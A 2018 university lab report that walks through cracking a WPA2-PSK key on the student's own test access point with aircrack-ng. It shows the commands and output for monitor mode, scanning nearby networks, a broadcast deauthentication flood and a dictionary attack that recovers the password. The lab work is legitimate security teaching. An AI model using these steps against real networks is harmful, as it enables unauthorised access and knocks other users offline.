Peter the Great St.Petersburg Polytechnic University

Department of Computer Systems & Software Engineering

**Laboratory report №4**

**Discipline: «Information Security»**

**Theme: «802.11 WEP and WPA-PSK keys cracking program AirCrack»**

Made by student:

Volkova M.D.
Group: 13541/2

Lecturer:

Bogach N.V.

Saint-Petersburg
2018 y.

# Contents

# Laboratory work №4

## 1.1 Work purpose

Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured.

After completing this module you will be able to:

1. Explore WiFi nets with a set of tools for auditing wireless networks.
2. Capture and analyse WiFi traffic.
3. Perform password-cracking attacks on WEP/WPA/WPA2 PSK.

## 1.2 Task

### Study

1. The core utilities – airmon-ng, airodump-ng, aireplay-ng, aircrack-ng;
2. Start a monitor mode on your wireless card;
3. Launch airodump, study its output and file format.

### Exercises

Crack a WPA2 PSK WiFi net:

1. Start monitor using airmon-ng;
2. Start capture and analyse WiFi traffic airdump-ng;
3. Use aireplay-ng to deauthenticate the wireless client (if needed);
4. Perform a dictionary attack.

## 1.3 Work Progress

In this paper we will try to access the wi-fi network using the aircrack utility. For the experiment, we establish a wi-fi point with the following parameters:
*ESSID* : *TPLINK*
*PASSWORD* : 12345678

### 1.3.1 Start monitor using airmon-ng

Using the airmon-ng command, we can get a list of all available wireless interfaces:

```
masha@masha-pc:~$ sudo airmon-ng


Interface Chipset    Driver

wlp2s0     Atheros AR9485  ath9k - [phy0]
```

Only one interface was found – **wlp2s0**. Let's start the monitor for this interface by the following command:

```
masha@masha-pc:~$ sudo airmon-ng start wlp2s0


Found 4 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name
823 NetworkManager
965 wpa_supplicant
1312  avahi-daemon
1315  avahi-daemon


Interface Chipset    Driver

wlp2s0     Atheros AR9485  ath9k - [phy0]
        (monitor mode enabled on mon0)
```

The launched monitor **mon0** is now displayed in the list of interfaces:

```
masha@masha-pc:~$ sudo airmon-ng


Interface Chipset    Driver

mon0     Atheros AR9485  ath9k - [phy0]
wlp2s0     Atheros AR9485  ath9k - [phy0]
```

### 1.3.2 Start capture and analyse WiFi traffic airdump-ng

The airodump-ng command allows us to analyze the message of wireless traffic. This command gives information about available wi-fi networks, the type of authentication, distance, channel number, amount and type of the data. Let's try to analyze information of the mon0 monitor:

```
masha@masha-pc:~$ sudo airodump-ng mon0
CH  1 ][ Elapsed: 12 s ][ 2017-12-25 14:26

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:04:56:CC:5E:78   -1        0        0    0  12  -1                    <leng
 C0:4A:00:63:B5:CC  -51       52        0    0  11  54e. WPA2 CCMP   PSK  TPLIN
 70:8B:CD:C2:DB:40  -68       40        1    0   3  54e  WPA2 CCMP   PSK  Famil
 38:2C:4A:C2:35:B4  -63       37        1    0   6  54e  WPA2 CCMP   PSK  ASUS
 84:C9:B2:AB:03:FC  -82       17        0    0  13  54e  WPA2 TKIP   PSK  DIR-3
 14:CC:20:94:F2:64  -79       28        0    0  11  54e. WPA2 CCMP   PSK  TP-LI
 6C:3B:6B:DC:C0:8D  -87         9         1    0   1  54e. WPA2 CCMP   PSK  <leng
 FA:F0:82:7E:15:0C  -91         6         0    0   3  54e. WPA2 CCMP   PSK   Inter
 D4:76:EA:20:FD:88  -90         3         0    0  11  54e. WPA2 CCMP   PSK  Roste
 10:7B:EF:5D:39:0C  -91         3         2    0   9  54e  WPA2 CCMP   PSK  OxiTr
 00:19:5B:E1:F0:88  -91         7         0    0   6  54 . WPA2 CCMP   PSK  ander

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:04:56:CC:5E:78  00:04:56:CC:65:65  -90    0 - 0     71       10
```

### 1.3.3 Use aireplay-ng to deauthenticate the wireless client

To gain access to the wireless network, we need to intercept the handshake. This can be done by analyzing the traffic of the utility airodump-ng, in the hope of intercepting the message "WPA handshake: AA:BB:CC:DD:EE:FF". However, this process can take a long time, in order to speed up this process we will start sending messages that say that we are no longer connected to the wireless network with the help of **aireplay-ng** utility:

```
masha@masha-pc:~$ sudo aireplay-ng --deauth 1000 -a C0:4A:00:63:B5:CC --ignore-negative-one mon0
 14:35:41  Waiting for beacon frame (BSSID: C0:4A:00:63:B5:CC) on channel -1
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
14:35:42  Sending DeAuth to broadcast -- BSSID: [C0:4A:00:63:B5:CC]
14:35:42  Sending DeAuth to broadcast -- BSSID: [C0:4A:00:63:B5:CC]
14:35:43  Sending DeAuth to broadcast -- BSSID: [C0:4A:00:63:B5:CC]
14:35:43  Sending DeAuth to broadcast -- BSSID: [C0:4A:00:63:B5:CC]
< ... >
```

With a parallel analysis of traffic, a handshake was found:

```
masha@masha-pc:~$ sudo airodump-ng -c 6 --bssid C0:4A:00:63:B5:CC -w WPAcrack --ignore-negative-one mon0

 CH  7 ][ Elapsed: 8 mins ][ 2017-12-25 14:44 ][ WPA handshake: C0:4A:00:63:B5:

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 C0:4A:00:63:B5:CC  -38     4864      405    0  11  54e. WPA2 CCMP   PSK  TPLIN

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 C0:4A:00:63:B5:CC  74:DE:2B:64:22:23    0    0e- 1     0       199
```

The search results for the handshake were written to the file **WPAcrack-01.cap**.

### 1.3.4 Perform a dictionary attack

When a handshake is found, we can apply the dictionary attack. As a dictionary, take the standard with the most popular passwords:

```
masha@masha-pc:~$ sudo aircrack-ng WPAcrack-01.cap -w /usr/share/dict/cracklib-small
Opening WPAcrack-01.cap
Read 263182 packets.

   #  BSSID              ESSID                       Encryption

   1  C0:4A:00:63:B5:CC  TPLINK                      WPA (1 handshake)

Choosing first network as target.

Opening WPAcrack-01.cap
Reading packets, please wait...

                               Aircrack-ng 1.2 beta3


```

```
                      [00:00:00] 8 keys tested (223.13 k/s)


                              KEY FOUND! [ 12345678 ]


       Master Key     : 99 21 94 D7 A6 15 80 09 BF A2 57 73 10 82 91 64
                        2F 28 A0 C3 2A 31 AB 25 56 A1 5D EE 97 EF 0D BB

       Transient Key  : E6 4D 43 E3 44 76 6A 55 5E FB CB A9 2A EA B7 DE
                        11 C4 CB 17 8E 04 06 73 4D 48 3E 22 62 69 B4 39
                        7C 21 F4 CA A3 66 8E 62 B1 30 E8 2A 2D F1 62 52
                        ED A7 D7 C1 2E C7 27 96 60 C1 2E 1F 59 F4 56 73

       EAPOL HMAC     : 6B E2 16 A4 1D 34 C2 39 91 8F F0 7D 99 2D 7E 65
```

## 1.4 Conclusion

The standard methods of hacking wireless networks using WPA-PSK are based on the search of passwords, which indicates their relative reliability. In addition, the restriction on a minimum of 8 digits makes password searching quite difficult.

To protect from hackers wireless network owner should use a strong password, then such attacks will be meaningless.